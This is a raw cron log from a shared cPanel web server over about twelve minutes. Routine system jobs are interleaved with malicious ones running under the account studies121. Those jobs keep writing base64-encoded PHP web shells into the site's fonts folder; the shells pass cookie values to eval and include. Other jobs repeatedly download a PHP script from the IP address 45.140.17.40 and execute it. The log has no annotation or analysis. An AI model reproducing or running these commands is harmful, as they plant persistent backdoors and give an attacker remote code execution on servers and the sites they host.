Feb 22 08:38:01 ip-184-168-122-23 CROND[24800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:38:01 ip-184-168-122-23 CROND[24802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:39:01 ip-184-168-122-23 CROND[25136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:39:01 ip-184-168-122-23 CROND[25137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:39:01 ip-184-168-122-23 CROND[25139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:39:01 ip-184-168-122-23 CROND[25140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:39:01 ip-184-168-122-23 CROND[25141]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 08:40:01 ip-184-168-122-23 CROND[25565]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 08:40:01 ip-184-168-122-23 CROND[25567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:40:01 ip-184-168-122-23 CROND[25570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:40:01 ip-184-168-122-23 CROND[25576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:40:01 ip-184-168-122-23 CROND[25577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:40:01 ip-184-168-122-23 CROND[25575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:40:01 ip-184-168-122-23 CROND[25580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:40:01 ip-184-168-122-23 CROND[25579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:41:01 ip-184-168-122-23 CROND[25905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:41:01 ip-184-168-122-23 CROND[25906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:41:01 ip-184-168-122-23 CROND[25908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:41:01 ip-184-168-122-23 CROND[25910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:42:01 ip-184-168-122-23 CROND[26237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:42:01 ip-184-168-122-23 CROND[26238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:42:01 ip-184-168-122-23 CROND[26241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:42:01 ip-184-168-122-23 CROND[26243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:42:01 ip-184-168-122-23 CROND[26240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:43:01 ip-184-168-122-23 CROND[26557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:43:01 ip-184-168-122-23 CROND[26558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:43:01 ip-184-168-122-23 CROND[26559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:43:01 ip-184-168-122-23 CROND[26563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:44:01 ip-184-168-122-23 CROND[26882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:44:01 ip-184-168-122-23 CROND[26885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:44:01 ip-184-168-122-23 CROND[26886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:44:01 ip-184-168-122-23 CROND[26887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:44:01 ip-184-168-122-23 CROND[26884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:45:01 ip-184-168-122-23 CROND[27186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:45:01 ip-184-168-122-23 CROND[27187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:45:01 ip-184-168-122-23 CROND[27188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:45:01 ip-184-168-122-23 CROND[27190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:45:01 ip-184-168-122-23 CROND[27192]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Feb 22 08:45:01 ip-184-168-122-23 CROND[27191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:45:01 ip-184-168-122-23 CROND[27193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:46:01 ip-184-168-122-23 CROND[27487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:46:01 ip-184-168-122-23 CROND[27488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:46:01 ip-184-168-122-23 CROND[27490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:46:01 ip-184-168-122-23 CROND[27491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:46:01 ip-184-168-122-23 CROND[27494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:46:01 ip-184-168-122-23 CROND[27492]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 08:47:01 ip-184-168-122-23 CROND[27879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:47:01 ip-184-168-122-23 CROND[27881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:47:01 ip-184-168-122-23 CROND[27884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:47:01 ip-184-168-122-23 CROND[27885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:48:01 ip-184-168-122-23 CROND[28188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:48:01 ip-184-168-122-23 CROND[28190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:48:01 ip-184-168-122-23 CROND[28191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:48:01 ip-184-168-122-23 CROND[28192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:48:01 ip-184-168-122-23 CROND[28193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:49:01 ip-184-168-122-23 CROND[28508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:49:01 ip-184-168-122-23 CROND[28511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:49:01 ip-184-168-122-23 CROND[28510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:49:01 ip-184-168-122-23 CROND[28512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:50:01 ip-184-168-122-23 CROND[28826]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 08:50:01 ip-184-168-122-23 CROND[28827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:50:01 ip-184-168-122-23 CROND[28825]: (root) CMD (/usr/lib64/sa/sa1 1 1)
